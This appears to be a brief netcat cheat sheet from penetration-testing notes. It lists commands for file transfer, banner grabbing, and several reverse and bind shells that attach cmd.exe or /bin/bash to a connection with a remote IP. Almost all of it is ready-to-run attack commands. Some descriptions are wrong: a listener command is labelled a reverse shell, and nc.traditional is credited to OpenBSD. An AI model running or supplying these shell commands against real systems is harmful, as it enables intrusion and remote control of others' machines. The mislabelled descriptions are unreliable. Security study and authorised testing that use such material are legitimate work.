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Netcat

Establish the variable

export ip=192.168.1.100

Send files with nc

nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

Recieve file with nc

nc -nlvp 4444 > incoming.exe

Create a reverse shell with Ncat using cmd.exe on Windows

nc.exe -nlvp 4444 -e cmd.exe

or

nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe

Create a reverse shell with Ncat using bash on Linux

nc -nv $ip 4444 -e /bin/bash

Create a reverse shell with Ncat using shell on OpenBSD (Unix)

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

Netcat for Banner Grabbing:

echo "" | nc -nv -w1 $ip 4444